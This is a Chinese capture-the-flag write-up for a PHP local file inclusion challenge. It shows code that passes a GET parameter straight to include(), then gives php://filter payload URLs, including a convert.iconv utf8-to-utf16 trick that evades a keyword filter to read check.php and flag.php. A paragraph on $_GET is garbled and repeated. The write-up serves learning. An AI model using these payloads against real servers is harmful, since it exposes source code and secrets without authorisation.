攻防世界web第三题file_include

php 复制代码
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

这是题目

惯例:

代码审查:

1.可以看到include("./check.php");猜测是同级目录下有一个check.php文件用于过滤之类的

  1. if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); }

判断url中是否有参数名为filename的值,如果不为空,则将其赋值给$filename变量,猜测利用这一点把check.php执行出来。

测试:

发送请求构造url:http://61.147.171.105:63401/?filename=check.php

提交无反应

这时再考虑伪协议用base64编码读取

构造url: http://61.147.171.105:63401/?filename=php://filter/read=convert.base64-encode/resource=./check.php

再次提交,显示dont hack!

到这里,可以证明我们的思路基本正确,关键信息大概率在check.php文件中,我们再考虑如何绕过读取真正的信息。

猜测是由于编码格式的问题,我们换最常用的utf-8和utf-16编码格式读

构造url: http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php

提交得到

根据输出的内容可以看到是过滤"be,encode"等字段,到这里,说明我们已经能成功访问check.php了。而这里并没有flag,那我们猜测还有另一个flag.php文件,测试一下

构造url:

http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./flag.php

提交得到

成功拿到flag

总结:1.要能读懂代码

2.要会PHP:filter协议

知识点:

1.php://filter

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

参考这个:这个

2.$_GET变量
G E T 是 P H P 中的一个预定义超全局变量,专门用于收集通过 H T T P G E T 方法传递的参数 1 。这个变量允许开发者轻松地从 U R L 查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, _GET 是PHP中的一个预定义 超全局变量 ,专门用于收集通过HTTP GET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, GET是PHP中的一个预定义超全局变量,专门用于收集通过HTTPGET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质,_GET在整个脚本执行期间都可用,无需显式声明,这大大简化了Web应用程序中数据处理的过程。

3.isset函数

4.include 和 require 是PHP中用于在当前文件中包含(或插入)另一个文件内容的两个语句。它们的主要目的是代码复用,通过包含(或引用)外部文件的方式,使得PHP代码更加模块化和易于管理。然而,尽管它们的目标相似,但在处理包含文件失败时的行为上有所不同,相当于Java中的import。

include:当使用include语句时,如果指定的文件不存在或路径错误,PHP会发出一个警告(E_WARNING),但脚本会继续执行。这意呀着,如果你的页面依赖于被包含文件中的内容(比如函数定义、类定义或变量初始化),而该文件未被成功包含,那么页面可能会显示不完整或功能异常,但用户仍然可以看到页面。

相关推荐
锋行天下5 小时前
DeepSeek写Langgraph就是个大傻逼,一本正经胡说八道
前端·人工智能·后端
jktantan5 小时前
每个节点 41 字节:把一棵百万节点树拆进 14 个 typed array
前端·javascript·vue.js·算法·typescript
计算机魔术师6 小时前
Anthropic官方插件被「寄生」,背后是同一类攻击又来了
前端
我命由我123456 小时前
访客系统形式(有用户概念、无用户概念)
java·开发语言·前端·javascript·python·产品运营·产品经理
key_3_feng6 小时前
评估与对齐:Agent 自我进化的护栏
前端·数据库·agent
LaughingZhu7 小时前
Product Hunt 热榜 2026-10-30:Empacer、Scape、Floot in ChatGPT
java·前端·数据库·人工智能·chatgpt·notion
Lank_M7 小时前
抠图结果缩放后边缘发脏,该怪的不是插值
前端
jerrywus7 小时前
Skill、MCP、Workflow、Rules、Memory 有什么区别?拿几次真实开发任务讲清楚
前端·agent·claude
补码缩写7 小时前
canvas 与 sharp 缩放透明图:默认预乘,非预乘得拆通道
前端
静默回滚7 小时前
抠图 PNG 缩小再放大,边缘又糊又白是两件事
前端